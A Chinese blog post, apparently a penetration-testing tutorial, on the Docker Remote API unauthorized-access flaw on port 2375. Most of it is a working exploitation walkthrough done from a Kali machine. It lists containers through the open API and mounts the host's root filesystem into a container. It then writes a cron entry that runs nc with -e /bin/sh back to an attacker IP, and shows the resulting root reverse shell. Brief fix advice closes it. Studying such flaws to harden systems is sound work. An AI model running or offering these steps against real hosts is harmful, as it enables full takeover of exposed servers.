Docker Remote API未授权访问漏洞

2020/08/13 23:45 · 未授权访问 ·  原创文章 · 200阅读 · 0评论

服务简介

docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展。

产生原因

在使用docker swarm的时候,会在docker节点上开放2375端口,并绑定在0.0.0.0上,端口中存在

Docker Remote API的服务。可以通过HTTP调用。

漏洞利用

访问http://192.168.83.99:2375/version查看版本

http://192.168.83.99:2375/v1.37/containers/json 列出容器信息

http://192.168.83.99:2375/images/json 列出 images 列表

命令行获取信息:

#获取镜像信息
root@kali:~# docker -H tcp://192.168.83.99:2375 images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
alpine              latest              a24bb4013296        6 weeks ago         5.57MB

#启动docker容器
root@kali:~# docker -H tcp://192.168.83.99:2375 run a24bb4013296

#获取容器信息
root@kali:~# docker -H tcp://192.168.83.99:2375 ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED              STATUS                          PORTS               NAMES
6238de5146c8        a24bb4013296        "/bin/sh"           About a minute ago   Exited (0) About a minute ago                       wonderful_booth

#关闭容器
root@kali:~# docker -H tcp://192.168.83.99:2375 stop 6238de5146c8
6238de5146c8

利用方法:

#随意启动一个容器,并将宿主机的 / 目录挂载到容器的 /mnt目录,这样就可以操作宿主机中的文件了
docker -H tcp://192.168.83.99:2375 run -it -v /:/mnt a24bb4013296 /bin/sh 

#攻击机监听
root@kali:~# nc -lvvp 6666
listening on [any] 6666 ...

#写入计划任务,反弹shell,容器中有nc环境,直接使用nc
echo "* * * * * /usr/bin/nc 192.168.83.100 6666 -e /bin/sh" >> /mnt/etc/crontabs/root

#反弹shell
root@kali:~# nc -lvvp 6666
listening on [any] 6666 ...
192.168.83.99: inverse host lookup failed: Unknown host
connect to [192.168.83.100] from (UNKNOWN) [192.168.83.99] 35477
whoami
root

修复方法

1)配置acl,Docker Remote API不要绑定到0.0.0.0。

2)修改docker swarm的认证方式,使用TLS认证。

您可能感兴趣的文章

本文地址:https://www.ouyangxiaoze.com/2020/08/617.html
版权声明:本文为原创文章,版权归 欧阳小泽 所有,欢迎分享本文,转载请保留出处!

文件下载

boke112导航_独立博客导航平台

上一篇:
下一篇:

 发表评论


表情